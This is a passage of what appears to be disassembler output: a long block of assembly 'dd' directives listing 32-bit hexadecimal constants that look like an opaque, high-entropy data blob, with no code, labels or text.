		dd 60C6EFFFh, 4F72064h,	2453D443h, 0F3B7C420h, 28849660h
		dd 0C97F6830h, 1B4D158h, 0DBB0F11Fh, 98C8F954h,	0B3214D08h
		dd 78B40BD9h, 0BF8E1BD5h, 0BA5900BFh, 695C4008h, 57297760h
		dd 0ABE854h, 437B3009h,	0C9A451C5h, 0FAF3F506h,	0EE872A9h
		dd 464CF4F6h, 0E088D0C0h, 0B9D978D4h, 0CE182598h, 0F11AB408h
		dd 4A43C4D8h, 0B800F1BEh, 27E03B68h, 91FD1F92h,	0F617851Fh
		dd 7E800166h, 4494E9BDh, 519C1EB8h, 0FC4F1F50h,	750AF42Ah
		dd 0D47DE562h, 20206909h, 80039210h, 0F2FF3C46h, 86783707h
		dd 1C82C11Dh, 0D78400F4h, 0D23F001Eh, 885C047Eh, 8CC1476h
		dd 3921E8h, 6273F26h, 7AFF9EB8h, 0E0CBEC00h, 0D478EAF9h
		dd 2853609Fh, 458030F7h, 0BCC92F03h, 30D1FB68h,	10215909h
		dd 0CF004588h, 0CC1540E6h, 0C8547B66h, 19C08990h, 467ECB3Fh
		dd 3EA220Ch, 703F2136h,	1CA8F697h, 0C5144B2Ch, 14D0D743h
		dd 228CB707h, 0CF03283Fh, 908CE8ACh, 19C66071h,	6C4174EEh
		dd 0D119D600h, 52F588E0h, 3808364Bh, 834698D1h,	0D13F1F02h
		dd 0EC31FC7Eh, 3F273810h, 2261D300h, 677DD649h,	19A400DDh
		dd 0E0E14FBBh, 0FCA87EC8h, 1600A398h, 536CF9F6h, 60074BF0h
		dd 0E57C490Bh, 0F8A064CDh, 0F532ACF8h, 201B2068h, 9869C5DEh
		dd 0FD83A83h, 0E0DD0D7Ch, 42618ED5h, 0CC302744h, 0F11811B4h
		dd 814C88C8h, 0D3B4D4B8h, 6286DCF1h, 0E5103C92h, 110D8939h
		dd 2380F5F0h, 3099A240h, 9A3DD271h, 0D6FF0C38h,	0B1604Fh
		dd 39837950h, 0D9EBC5CBh, 3094E0A2h, 8502D746h,	94C91245h
		dd 15106731h, 9A0A458Dh, 0A4A51CEFh, 2882B108h,	96771234h
		dd 691023DFh, 7681D10Dh, 0FEF0414Ch, 0FBB9C38Ah, 858CAD7Ah
		dd 0AAAF80A8h, 7E3E5232h, 312F3181h, 0C0501ACBh, 48106F92h
		dd 0D81020FAh, 0B8B49452h, 35038CEFh, 68DE10FFh, 48787619h
		dd 9F225C17h, 1825C081h, 23937712h, 971103FBh, 932AC700h
		dd 0F87755C3h, 141C7E24h, 2AC8B210h, 1DB4CFC0h,	22A046F1h
		dd 0D7BD0042h, 0A9A58EB4h, 0AAE0CB19h, 72F8760Ah, 0FD0CAC84h
		dd 135B798Bh, 445EA17Ah, 683C548h, 217B11h, 9763E925h
		dd 0E1C2BBE8h, 80084D48h, 0F7CDCB71h, 0B2FD80E9h, 48DE857Ah
		dd 60A08FFBh, 488182ACh, 0DCEC809Bh, 9288C5DDh,	617E6154h
		dd 0D8AF7D0Eh, 77754F90h, 0D5549A00h, 297B8138h, 0F3F8A879h
		dd 7EA48882h, 99B9CD18h, 240F5148h, 55432A6h, 48A0D016h
		dd 268C8F9Ch, 9B93CBCh,	0EF550F04h, 52140C04h, 66238C3Ah
		dd 0E36DD506h, 8F573250h, 882852A8h, 9D03308h, 1820E61Bh
		dd 82DC4DBh, 289AFD00h,	0ED6D9F94h, 0AAE6044Eh,	0D16C0280h
		dd 2556030h, 6C1D2941h
		dd 880EA11h, 59234F13h,	72202490h, 0F1FC449Ch, 300E0F14h
		dd 0CA84998h, 7835F07Dh, 8D468605h, 0CF3F0979h,	0A89CEC7Eh
		dd 3F253A00h, 5ED6A34Fh, 2883065Dh, 21FC1C7Bh, 0F173D200h
		dd 62225A54h, 9B4A02B7h, 0F69ED115h, 18D3C499h,	2E450881h
		dd 65C4B4C9h, 45891140h, 0C4B0306Bh, 10269009h,	2D10277Dh
		dd 34EE7270h, 17080474h, 0C1C3573Bh, 1483698h, 44E91B2Eh
		dd 0ECA2FC23h, 1A7C930h, 0FF8D143h, 401B7904h, 9D717774h
		dd 11F6EC30h, 2C08C7E0h, 81C2714h, 37BEF903h, 0CA8DC9CDh
		dd 0E400B9BDh, 75F68B1Eh, 1400997Ah, 4006BA19h,	0DFBD62h
		dd 0F55641C3h, 2A169AFFh, 334F8A00h, 5308AA8Dh,	90577EFDh
		dd 0A05D033Ch, 0C6861191h, 743CE0D7h, 0BB3D7C97h, 0F7F5060Ah
		dd 0C4015E6h, 0C97ECD62h, 74E65758h, 357D6905h,	4C8E185Bh
		dd 96C04788h, 7BD1F33h,	26E1285Fh, 772DE0F6h, 88987EA5h
		dd 8762746h, 73FB9B93h,	0C9408BC4h, 0E6AE9328h,	70108102h
		dd 6090FC09h, 84507BDCh, 18028846h, 147ECC3Fh, 3710D231h
		dd 0B0023F20h, 10794ACAh, 0B48600Eh, 2DCD0AB7h,	32A02244h
		dd 113026A8h, 0FB9A1093h, 29CAE00Bh, 0B0400193h, 6F9105A5h
		dd 7564224Fh, 29C186FEh, 127FA6FAh, 80206091h, 0FB80932Fh
		dd 8F448C3Bh, 932700C4h, 0D513721Eh, 95005F91h,	19862306h
		dd 39205B9h, 2B3B4F37h,	7900569Fh, 7B614C7Ch, 541B1814h
		dd 7AA80EBh, 12C9BCF9h,	0AB67E3h, 0EE4626A8h, 3017ED00h
		dd 62CAC599h, 38CB252Eh, 0FE0828BDh, 6B3F4452h,	9C112042h
		dd 0EE9281F3h, 8863AE53h, 0EA3040A2h, 0A93900E7h, 3D4BF965h
		dd 9801C40Ch, 0EFF7907Ch, 2464451Ah, 39756068h,	32E904D7h
		dd 0ECCC700h, 0E36AC071h, 3047006Ch, 33FCB11h, 856358B9h
		dd 34A6830h, 30BCB339h,	0B5F0D2A2h, 0FE00E133h,	819E95A3h
		dd 509DBD7Ch, 9BA45Fh, 49112BEBh, 329176C6h, 0BD815700h
		dd 667C2FF6h, 7BF27C23h, 0A46C0492h, 0C8094B52h, 0D1038A30h
		dd 4EF54C16h, 4F9EF98Bh, 0E291F700h, 0BDA55800h, 3C32974Dh
		dd 6DC7033Ah, 0E03FCFAAh, 0C870A59Ch, 0D1001642h, 19EE4C3Eh
		dd 286AFB9Eh, 3CFC4AEDh, 620C8322h, 1F1049A9h, 9E8ACB12h
		dd 0E19B3420h, 72ED0396h, 538105D5h, 4DBE0FD0h,	0CC21A4A1h
		dd 4027310h, 9E0557F4h,	6734C051h, 317B027Fh, 8E8DE5DEh
		dd 47258480h, 0D006996h, 7F529801h, 1853D8Ch, 706384C7h
		dd 0F4A186CEh, 0E21EA4FBh, 5080D7F5h, 9FCB12DBh, 0ED3A3017h
		dd 9CBB2441h, 0F0BDD704h, 8CC07458h, 0E50C7EBh,	6B0D6A3Fh
		dd 381E6306h, 0BCD6408h, 36F4079Eh, 0C74A9345h,	601055B3h
		dd 8001F03h, 0EBE6270Ch, 7D1C383Ch, 1CC34FF5h, 0C044A2D7h
		dd 0E58280h, 395320B8h,	76A49916h, 0CD50AB7Bh, 0CE000498h
		dd 7E3FC9Ah, 70DCA373h,	3A990020h, 0C51485AAh, 0D500DD7Fh
		dd 98F79CE8h, 61369E02h, 15F130FDh, 96A09E6Bh, 9C0B82C0h
		dd 0F82A2FF2h, 5B0600AAh, 72985FB7h, 0FA3E5748h, 0CD2876F9h
		dd 1C1888BEh, 0F4F8F777h, 26B71903h, 0F63AB041h, 0E89398A0h
		dd 1D00AB97h, 16742CE0h, 26471867h, 7B8C43Ah, 76F60525h
		dd 200031EFh, 0C8A9E62Eh, 7A08BA76h, 0A5CA0070h, 0C69230Eh
		dd 0D700E2F4h, 930A3F44h, 2F7303h, 0ED6E88FEh, 46FCD352h
		dd 809E783Dh, 0B08EECA1h, 66FD27h, 9B2EB94Eh, 569887E4h
		dd 0DF0004E8h, 0E538F069h, 0B94D50h, 0B2353D8Fh, 5ABFAC59h
		dd 3A784374h, 8B0F48h, 0D1C0B9D2h, 7468AEBEh, 211560D3h
		dd 0B6F62184h, 0C424F3Fh, 507CCD3Fh, 3C2B0604h,	2856A6BCh
		dd 10AC2F1Dh, 36B45406h, 0D1DA0711h, 90B00903h,	0FEB5A822h
		dd 0B18008C6h, 0E96F0020h, 38240603h, 0CD07FF04h, 0AE8EBB14h
		dd 0FAB15F3h, 309B2C68h, 0AE40D30h, 79F9F9C9h, 0B8FB2186h
		dd 80C8F89Ch, 3D7C052h,	0C646B023h, 71008122h, 61AB03EFh
		dd 302BBBE8h, 17684CC8h, 0A9072ED4h, 0F71D2F14h, 0BDEE3530h
		dd 0ECF8FA61h, 0D30400EDh, 0C4892395h, 0FC1FC2B0h, 0D14005A0h
		dd 0A396D55Eh, 32B207E3h, 30A48710h, 8DE81B84h,	2EE9FC1Fh
		dd 1C024581h, 467065E7h, 0C1FF05Ch, 19D23575h, 7D00FE28h
		dd 2C30C3BEh, 266199CFh, 11BAF57h, 1AA86B09h, 85288C32h
		dd 2E591Eh, 0C8045243h,	239FF34Fh, 608E3C3Eh, 8DBD0D50h
		dd 0DB610339h, 0BCA66B7Fh, 463440F7h, 1C3D8F73h, 5F20F0Bh
		dd 41D1C324h, 0F893A890h, 0BACA0F5Ah, 397EA78h,	522ECACh
		dd 0A9066FFBh, 3A8C8EFCh, 2D4F0C41h, 1918A401h,	0A27A1601h
		dd 91294892h, 0DD3DECh,	0EA408724h, 0CA95125Ah,	0A5D3970Fh
		dd 0BB513B16h, 5978A6h,	1DF60C60h, 0B7831248h, 29EA1303h
		dd 0D867332Eh, 0FC21EEA6h, 92950ED4h, 8280A269h, 303F8EE2h
		dd 81AED83Dh, 8D4BF577h, 85F01A48h, 0A4FA9Ah, 692C34E9h
		dd 609C66D9h, 8336CC0Fh, 255D001Fh, 0FF1BF5h, 7E640B6Dh
		dd 1DED9DCDh, 0DE75B41Eh, 184559CCh, 3DC60777h,	0CE3B511Fh
		dd 9C0305CFh, 5AC066EDh, 5960A575h, 58428228h, 6087FD69h
		dd 0A0CD0905h, 406F8AE8h, 7CB6FD00h, 0F0327E63h, 0DAF638ABh
		dd 3B79DB80h, 2536D9F5h, 0A6284662h, 58AE207Dh,	0E33F370Ch
		dd 959C00DBh, 3B656770h, 0F3760DC2h, 0CD1F473h,	0CA601D1Ch
		dd 72469919h, 973906C6h, 98E93B52h, 0DE06CF42h,	0C0F2B50Dh
		dd 0CDF91D1Ah, 115C1521h, 0BC38002Eh, 8734412Dh, 25701EBh
		dd 0A576CA3Dh, 832080F4h, 0C3B6865Fh, 0FD2E14F5h, 33009099h
		dd 0B542FADFh, 0E2601C84h, 76D4CAB1h, 6C590108h, 4809BCECh
		dd 41E8D3CDh, 51C63F40h, 0EE31C51Ch, 74321FCFh,	0BAF20733h
		dd 9D185C35h, 4D4B2F01h, 0DFF03E86h, 0F1B27888h, 9340771Dh
		dd 44A3C1Ch, 0A0885072h, 0E9446075h, 9A30AE77h,	0F27198A0h
		dd 515BD800h, 24B34C2Ch, 38D30084h, 0F80FBC69h,	0F33B99C5h
		dd 437960B8h, 0A080816Dh, 45DD24h, 0C3E23B53h, 57DB1A0Fh
		dd 0DA0A55F2h, 0BC4EBD75h, 11C12800h, 3FA7A59h,	428AB9E5h
		dd 39F32E76h, 0F2F7B298h, 2F29F8C0h, 3C0FAF26h,	641F08DEh
		dd 0E83053Bh, 7F8C4147h, 24F50544h, 0B203F168h,	1CA65307h
		dd 0E12000DFh, 4C404375h, 3B00592Ch, 1692C5BAh,	509EEAF5h
		dd 36CC8Fh, 291A4FE3h, 32E55106h, 8791C31h, 2080F0FBh
		dd 2F1A84DEh, 0C5B89564h, 8DF4F200h, 0D99E8292h, 0F5A5304Bh
		dd 6FBE3F91h, 0BDBA2301h, 85748892h, 21150898h,	6F03967Ah
		dd 9E7CF334h, 5F8148F2h, 477E5100h, 0C18304CFh,	0C7292600h
		dd 7B21A38Fh, 9928C182h, 0F83EB964h, 0CC6401C9h, 340059F8h
		dd 8AB12E4Dh, 96E451C7h, 406B7DA2h, 50D076D8h, 7791B755h
		dd 3D380041h, 9DECC1BCh, 2F4D2181h, 26960110h, 395997B4h
		dd 66B1C5C8h, 818208C8h, 0B43FDD98h, 0C6620A7Ah, 1C09DCDCh
		dd 0AB4C20C1h, 105E121h, 9B5E03EEh, 42813E42h, 92303F90h
		dd 0BA27116Fh, 0B90A889Dh, 8E6FEA00h, 0F27CEB56h, 9630C750h
		dd 0F662570Ch, 0E65278F5h, 0A8F00956h, 10805F10h, 0BF37195Ch
		dd 3E4BE50Fh, 57A1009Bh, 920BCE2h, 33CBAA1Eh, 408E2084h
		dd 741AA359h, 0EB7B061Ch, 488BC4DEh, 0A60949F8h, 0A0BE5841h
		dd 365A396Ch, 8278DEC5h, 0DC8B4648h, 0F2DE6C40h, 0D75CC08h
		dd 79D075Fh, 12198242h,	0D8B23068h, 1948B4A1h, 2390B4D8h
		dd 0E03C1159h, 0B43A3D71h, 0D609024Ch, 0D106505Ah, 0D5B14060h
		dd 70EFC7A0h, 0AE584018h
		dd 3472031h, 97B1C75Bh,	0DADBA991h, 317640F0h, 0E8F438D0h
		dd 19C438Bh, 0A6697276h, 3980DA21h, 0BCBB519Fh,	0CA1C6255h
		dd 0E28A4F94h, 161190E5h, 84714E09h, 41611820h,	18C6E496h
		dd 46883FF2h, 0B4220255h, 31195993h, 3B401069h,	15621FB4h
		dd 34AAC054h, 51B0CF1Dh, 0BCE01748h, 0EC398CF8h, 2AA44Bh
		dd 4981FC87h, 0ABD3605Fh, 0CFFDA2h, 0E13F2B62h,	56CD11Ch
		dd 0CDDE713Fh, 26403C68h, 5A8E7479h, 9D144069h,	90D5866h
		dd 37DBDDE6h, 192698B4h, 0E208946Bh, 484F4281h,	5689F38h
		dd 9DFA19BCh, 27946086h, 597A92B4h, 0EF8E448Ch,	1AB43800h
		dd 476467E9h, 0A2421457h, 9909BCF8h, 0C03054D9h, 26116F97h
		dd 98895BAh, 6FEF3180h,	50D7D6h, 248FF52Bh, 0FAA67A57h
		dd 1A198092h, 23516C9Bh, 39C4DD8h, 83C5B69Ah, 494C410Fh
		dd 9E487DE4h, 2AD84894h, 91110CABh, 5F21DAEBh, 189D458Ah
		dd 29C41310h, 204722E6h, 8C527076h, 20F23180h, 1F0AD873h
		dd 8C9D5324h, 0F54D5700h, 30704AEFh, 4221412Fh,	0C606148Ch
		dd 7A0E8504h, 54747D51h, 0B057A82Ch, 0BEDA07BEh, 83DD4A77h
		dd 3FC709CEh, 19583C02h, 11292461h, 71E0C8F2h, 0C308A1D6h
		dd 0B67C3E2h, 886F5A11h, 0A0FD1E82h, 2FA5C8C8h,	50C079C2h
		dd 6ED44873h, 7689289h,	6FBCD382h, 154000F7h, 28985A31h
		dd 39DFAAE6h, 0F2DD58C5h, 0B99E800Dh, 61463BF0h, 2F4479C0h
		dd 0EABC48A4h, 0E0356E03h, 8028A34Eh, 0FB6229h,	0B98AEE6Ah
		dd 9B3DF86Bh, 0D0F14800h, 0B2A31268h, 0BA570062h, 0DA1FC77Bh
		dd 9C05EBC6h, 4923F63Fh, 0BADE143Ch, 8024260Ch,	9B848204h
		dd 0F4400678h, 0C10042B0h, 2E933123h, 50E2FB1Dh, 0C4BD81Bh
		dd 0D490565Ah, 260AB9B0h, 0A41DDA33h, 8AFA2140h, 0A1B813C7h
		dd 874CB096h, 3C497B01h, 2797C977h, 5F18D0h, 8B05F66Fh
		dd 8F555C26h, 75F75B00h, 7F8E301Ah, 1C08B0A4h, 0EC01961Dh
		dd 0F6C40260h, 74642433h, 45CFC600h, 0B32642D8h, 72E70121h
		dd 8C3F9529h, 1FA85073h, 287D80AEh, 7B616E01h, 5842374h
		dd 7048F0C7h, 795C24C8h, 0CD4AC44h, 0BB3929B8h,	1B305772h
		dd 0EA0111F8h, 1F6D7123h, 8050A7E4h, 4145B3B1h,	60980779h
		dd 5F053300h, 2E18276Ch, 0E93D0081h, 6292D330h,	6F18A5E2h
		dd 0BE668D9h, 0D06601A8h, 0C087A661h, 0D534D0DBh, 7DB33F03h
		dd 0F8E242F0h, 0CCDA58A4h, 1821C508h, 0FE7D2B00h, 0FFDD0F50h
		dd 7FA300EDh, 5A1A96CFh, 0EB609EF7h, 3511CE10h,	304E001Bh
		dd 61C6FBFFh, 0DC066FB3h, 7289DE43h, 54D80A50h,	810D1C3h
		dd 0D508C9B7h, 547A06DFh, 69F0789Dh, 3FDA713Eh,	0A7841F0Ch
		dd 84E9BE0Bh, 9E8331F3h, 42780F88h, 41D83FABh, 7CE2EEC6h
		dd 0CC7B7300h, 6CDED8BAh, 0A0D700AEh, 0E318459Dh, 0E500E64Ah
		dd 0AC21D371h, 0AF9761h, 4F10794Ch, 1D1CB954h, 257C6F00h
		dd 788AE6D9h, 957241h, 9B79F512h, 0C009826Dh, 7B5CF90Dh
		dd 41A109Ah, 0CC434C9Fh, 0A100D050h, 267FECADh,	0C9FD1Dh
		dd 734AF3EFh, 82E467A9h, 5CEE6500h, 0DCC289F0h,	44490070h
		dd 39D78D35h, 0E9001DC5h, 9BA12EAAh, 0A345Dh, 9977403Dh
		dd 0B3A84CF1h, 0C126E700h, 0A5124F55h, 7F567F3Ah, 6C8400A4h
		dd 900E4516h, 147AB7C1h, 0B0AEF300h, 1DE36986h,	0E9E200C9h
		dd 0B82BD5CEh, 93000213h, 981922ABh, 0EA787Ch, 2EDF23D2h
		dd 39088F2Bh, 2110D06Fh, 0E1EE8AFDh, 296E8E0h, 4CA2A9EDh
		dd 0A780B6C8h, 0ECEFABB1h, 1372D500h, 0A7C746C9h, 913C0057h
		dd 0F516324Dh, 99001C10h, 4472065Eh, 782A1758h,	7D260C47h
		dd 6C68D1A2h, 0F4094900h, 103A5D35h, 0B2895CEAh, 1C91CB28h
		dd 30B5EEh, 238F139Dh, 0F009125h, 0E57677D3h, 0F6404786h
		dd 0A28106D8h, 19E3D514h, 21619903h, 805F55E1h,	304F98F7h
		dd 0F180ECCBh, 0B1ECC55Ch, 0B597A1C0h, 0B2F261h, 9420E8ABh
		dd 0EA670EA2h, 29700204h, 0D2800846h, 483DCBE4h, 56000095h
		dd 3580D1FCh, 3009997Ah, 0F5B5EBEh, 0D21A0E2h, 16A839h
		dd 1A79B4C9h, 0B17C44F8h, 0EFA1F0C1h, 0DBF0555Eh, 36254CDAh
		dd 382A2854h, 758015B3h, 0EA609583h, 22000F21h,	0C5B913BBh
		dd 0DFB4BDh, 8EA9A53Dh,	5F43314h, 74E2D501h, 985A48EDh
		dd 355BE4h, 3CB13A25h, 12BC633Dh, 20F79200h, 90013FBBh
		dd 16150014h, 8664542Eh, 6B034C4Fh, 389625E6h, 36A4F8DAh
		dd 2D3C0088h, 0EFCAD070h, 3E09C4DBh, 75276h, 0F8932B1Ch
		dd 712E28ACh, 5AFD228Ch, 0D5E3B000h, 0E1F170E9h, 9B520386h
		dd 0F083E719h, 80B31038h, 942ED1F4h, 44E620h, 0DF0E577Eh
		dd 0D2CE4593h, 0D0007C79h, 0AFDCABA2h, 58582080h, 0B23D8FB1h
		dd 0C5980180h, 3B579559h, 81661500h, 389F0C2Ah,	9EA4A06Eh
		dd 0B250034h, 74B6DEA5h, 0FD00AA4Ah, 4F9A5402h,	1DBDE893h
		dd 0C090B2B9h, 1376D94h, 0A702E9AEh, 42D2C110h,	45D480A6h
		dd 1D80384Eh, 0D5E55h, 0E417433Ch, 0CA00FB29h, 4C98991Eh
		dd 0B19B81h, 807E7954h,	0FDA4A622h, 47BB9E0Ah, 2002E807h
		dd 0A05FA993h, 331FDB88h, 941D055Dh, 40C70CB5h,	35567B9Ch
		dd 90001038h, 925F972Dh, 74E98966h, 0E6760Fh, 15A4DFA6h
		dd 0F84FBA9Fh, 0C93D7316h, 75AD8C00h, 1840A70h,	527487C6h
		dd 0E81B40F1h, 65EEF385h, 977E1701h, 67BC9829h,	1512F0h
		dd 47B899DDh, 55B17BB2h, 775F3F00h, 6C93278Eh, 8A7C000Eh
		dd 466F49D5h, 0A831D813h, 0A41540C6h, 605EA6F0h, 33A110B9h
		dd 287E6B69h, 53002090h, 120297F7h, 7653555h, 0C93AD743h
		dd 0EB3DF037h, 0B003341h, 1418922Fh, 0C0769EC8h, 3566816h
		dd 0D27A913Dh, 0E0001979h, 0CD8BDD52h, 0A09648A9h, 36CC94h
		dd 14EBCA21h, 80EA2822h, 7C2E167Eh, 9C00B681h, 0AA3FE81Dh
		dd 46BC3B19h, 76F2086h,	0C6E4F86Bh, 3C30DE00h, 4B485E3Fh
		dd 0B3C100C5h, 682ACEA3h, 0F80CC499h, 98624CFEh, 0FBE0B0h
		dd 1E23786Eh, 7BCD7274h, 891F7A01h, 0B5CAC942h,	455CE06Bh
		dd 54F2847Eh, 88FA5B04h, 48907071h, 302151Ch, 1921A4FBh
		dd 4B90606Ah, 0BCE2DCDAh, 0FA8F748h, 4039AA45h,	8B91E9B8h
		dd 0F3580054h, 0C3E506E1h, 0ABE05CD6h, 0C4A3E31Eh, 4E6219C0h
		dd 586A61h, 5BC0DBB3h, 210A8398h, 0CC60C760h, 95F5E50h
		dd 1552379Fh, 0E0D11480h, 9000DE93h, 892206E3h,	0B0A0E7h
		dd 0DB8BB1C5h, 0FF88E4EAh, 0E403E00h, 56D7C25Fh, 93C3068Fh
		dd 38A7AE43h, 0FFD81201h, 0A51D649Bh, 23F32881h, 801555E9h
		dd 4EB4DF10h, 125C21h, 85BEE042h, 7D38CFC3h, 0F996AF1Ch
		dd 23541878h, 90914F80h, 0D88228C2h, 840B26ECh,	0F924CBh
		dd 0E217ADA9h, 0B700942Bh, 7D619662h, 282FCFBFh, 7D07045h
		dd 0D130BA4Fh, 3DDCE0A5h, 0B62E8509h, 0A4073143h, 0A7B09969h
		dd 0B0FDC20Ah, 83010062h, 0CA563B2Dh, 60007198h, 0D52E12A9h
		dd 7534616h, 29CDE504h,	0FFBF503Eh, 6E0051FAh, 13C04E0Bh
		dd 0F456D624h, 0F9EE00CAh, 8E32B9DAh, 0C4003BBAh, 0F31874AFh
		dd 71A830BFh, 7CC0486Ch, 2138413Ch, 953F1007h, 0D024A75Ch
		dd 220CAB62h, 526E731Eh, 5D441DC2h, 0A59F804Bh,	3DB2FA41h
		dd 0FF802030h, 0C2B36D10h, 390042D5h, 0ABA62BD9h, 7815185h
		dd 236F3272h, 0E7E541B7h, 7491F450h, 30015400h,	0EE44C79h
		dd 0A52C071Dh, 30FC2097h, 9409A28Ch, 0AD00D1FCh, 9FB47ED5h
		dd 79A8D412h, 7685717Ah
		dd 0FA1C0076h, 0EFF19ACCh, 71E74D86h, 0F290206Eh, 6129E201h
		dd 900CF6FFh, 0A8EDE4h,	1F9CD30Dh, 73487D8Ah, 0C92E84F0h
		dd 9BA0987Eh, 6B35F00h,	0AD52943Dh, 0C04CFA1Bh,	64B90229h
		dd 0F45C3F4Fh, 8B080010h, 94DB43B0h, 0D01701BDh, 0E3259EA8h
		dd 0FF69F58Ch, 90839587h, 0D917119Ch, 0EE05E702h, 613D8777h
		dd 3EC7816Fh, 0DC5D5E21h, 0A286F30h, 17E8A115h,	0C7ECBAE8h
		dd 120D10A0h, 3C8804Dh,	3F8E5A01h, 1C08001Eh, 98342C33h
		dd 0C100385Dh, 0DBA3BD70h, 0D9780h, 5391015h, 621CD7F6h
		dd 8EFE8E3Eh, 0E54EE61h, 0F0B8879Ah, 5033D882h,	0BCFE40h
		dd 944158F8h, 16548E31h, 6B44C250h, 60EA0D6h, 0CC56ADCh
		dd 80BC0300h, 177A6C8h,	7A819B3Fh, 0D099709Eh, 28EEB58Bh
		dd 83846B0Fh, 438DE30Ch, 0A94EE0F0h, 5EAF003Ah,	491E6CD1h
		dd 38B0972Eh, 18FD6900h, 0E898CD40h, 0DE470010h, 3EF9366Fh
		dd 0D5177D25h, 2C1DB050h, 71038C93h, 0B0349BA5h, 2431E7E1h
		dd 82E008F5h, 0EC5ABCC1h, 3DDAA853h, 0C5A3D804h, 25109761h
		dd 0DC404315h, 0A6F2F5h, 609387EAh, 0BCDA340Dh,	0E6FD4401h
		dd 5439259Bh, 313429ACh, 120FB729h, 4F171030h, 0EE087A89h
		dd 844C3E44h, 6A5E8F10h, 8A58E11h, 10372492h, 3ABF8678h
		dd 0DE24451h, 0B4249100h, 692FC9E3h, 5067064Dh,	1992ECF8h
		dd 32DCF00h, 6E337358h,	0FBC8EBC9h, 14990F6h, 302302B7h
		dd 0CC54E56Ah, 0AB02B3F4h, 0DE7F34D9h, 0B8D9C0B9h, 860B0708h
		dd 406C5440h, 14E846B3h, 1FAE44Ch, 64A946Bh, 0F970C6CBh
		dd 0ABA00085h, 749B8307h, 487E8882h, 0AD41C800h, 925EF3E2h
		dd 197E02B5h, 0BA4E6976h, 68052DC0h, 0E6186E0Fh, 38722CF5h
		dd 539B00FCh, 0B70B09A1h, 1000B69Ah, 2977670Eh,	584ED260h
		dd 8D050DAAh, 0C0F7A7E7h, 55B412C1h, 8B0EDB78h,	80223C15h
		dd 4ED72567h, 90C6009Fh, 65DFD64Fh, 9D021EA7h, 1C7C2F04h
		dd 0ED084843h, 1F871F1Dh, 8C884BE4h, 4ADA5F03h,	0B5F00A7h
		dd 0B6012C28h, 83820856h, 0C4F88C93h, 2DB40054h, 1CC83FD1h
		dd 8EE6A5E2h, 35848000h, 65720B82h, 68576067h, 8AFE9F24h
		dd 0DA013272h, 877EBFA7h, 0E024C828h, 7C037F41h, 31160056h
		dd 5972D73Eh, 0A677B2C0h, 4EA03203h, 0D8D4114Fh, 0F50EDFDh
		dd 4AEFB0A1h, 0E39E9622h, 567EC880h, 7A00FDFFh,	77E1F951h
		dd 11740C6h, 0F7A23CA0h, 500A2596h, 0DC56CCD0h,	4300A9FAh
		dd 3F7E97DEh, 0C06B73B1h, 26091E21h, 111E7A2Fh,	0A8410681h
		dd 516E8E57h, 0E741F0h,	672C1EF5h, 81048431h, 20944A00h
		dd 27B165D9h, 0C9D48F1h, 0BAB6A300h, 0A5DBECACh, 9308E560h
		dd 4D5CF4h, 34E62A6Bh, 6205BCCBh, 8A45DA14h, 277D0088h
		dd 59932197h, 0BB99165Fh, 693A0FF6h, 5DD8195Bh,	0E200CAF3h
		dd 0E9379EE3h, 0E023ABC6h, 3227003Ch, 939AE1B2h, 61099FE4h
		dd 3DB3BE5h, 0E0E96E70h, 3A384D05h, 47005AD8h, 558B5FFBh
		dd 490EB98h, 21669D00h,	367C6C5Eh, 0EA8F1E93h, 2D6E4EEh
		dd 1240E84Dh, 0B4D61440h, 0EFD1B307h, 92F7F451h, 40A40642h
		dd 14A3800h, 2BD286Fh, 0F87DE5C8h, 8B00D55Fh, 0A654F4FCh
		dd 0CB6F12Eh, 3E62BFAh,	2CE44520h, 29BA8900h, 88B55F70h
		dd 522F1DF9h, 27EC090h,	0E08F2414h, 9D0D258h, 43595331h
		dd 0E6C9C874h, 0DBB400EFh, 0D6869287h, 0FD162560h, 67001B2Ah
		dd 0F37B9AE5h, 0D0533CEEh, 0B88CD59Eh, 9C6A7702h, 0FC80739Dh
		dd 0A1CDE962h, 2E2D5902h, 60CAE549h, 0E546330h,	997C296Fh
		dd 0F1C8800h, 331423A8h, 80FBEAh, 0C361953Dh, 92B8CFh
		dd 0A9F56CBBh, 27E3C2E7h, 0ECB3BC1Eh, 896BB647h, 1F4A8280h
		dd 860D073Bh, 47A06A0Ch, 10404E18h, 85D5C79h, 373F9900h
		dd 3C58BE17h, 96230787h, 9085F8D2h, 0BCC8F5D1h,	0B2C99D1Dh
		dd 1C1E8FD2h, 0C57314C0h, 0FC384E57h, 28EA7EBFh, 0EC0C2D4Ch
		dd 8E970016h, 0FB922E86h, 4F0055DCh, 0C6187BA7h, 12D96D6h
		dd 86C957BEh, 201F6905h, 42777F51h, 601C9349h, 48E5D658h
		dd 488AE088h, 8900B865h, 2CEEAFA6h, 0E774DD68h,	0CC6E0924h
		dd 49307000h, 2864D031h, 0B475B0h, 0F0E71CF8h, 3321BEE6h
		dd 0E42A500h, 299A96B7h, 0E05D3C03h, 14C8B080h,	0E6F4530Dh
		dd 59D55B09h, 1C300333h, 0D8FBAB46h, 0EA3C00Fh,	0D440D124h
		dd 40A056C9h, 0B58FF141h, 0D22AFF00h, 39D7335Bh, 4555009Ah
		dd 0ED6FF458h, 29003E64h, 281EB81Fh, 5182B09h, 93244046h
		dd 1A98907Eh, 777E71EBh, 441CD772h, 0D2DFF6AAh,	0AD8020B5h
		dd 390EE91h, 0FBBA56Fh,	7AF9AB8Dh, 892AD8AAh, 9D009492h
		dd 0E75EDD0Dh, 4D1FADFCh, 0BB00A837h, 31E2B0FEh, 0AA005CC7h
		dd 39AB0A10h, 1CC41FDFh, 0C0EE5BA4h, 3F8217B8h,	7861F389h
		dd 97E3A0E0h, 2593C451h, 0C05F66D0h, 823377D8h,	9E001C45h
		dd 0CB05A8A9h, 63BAEBh,	6F561318h, 0F0B33EFEh, 0A9670C00h
		dd 9C45CDF3h, 71521F77h, 0DEA3C0F4h, 64F83B15h,	0B90020F8h
		dd 182A10E4h, 68656BAh,	7261341Ah, 750018BEh, 5DD77A6Eh
		dd 9FE785h, 0DD47F14Ah,	0C02A6984h, 70E32501h, 9DEFC3BDh
		dd 4780169Dh, 0A06A7D52h, 0F3218FCEh, 0A787F02h, 0C0D0D8EBh
		dd 76FA36Eh, 0F67D830Fh, 0C4E70D5h, 0B9035B85h,	28521E9Ch
		dd 0EA30A07Bh, 3B9031h,	85A00879h, 0DE6B2C6Dh, 972AC500h
		dd 0FB2E4BC3h, 0AAC63B12h, 1AADB400h, 0DEA61391h, 866E9600h
		dd 393C94F4h, 0BB600031h, 0D2109D14h, 0B71D6D1Eh, 938437AFh
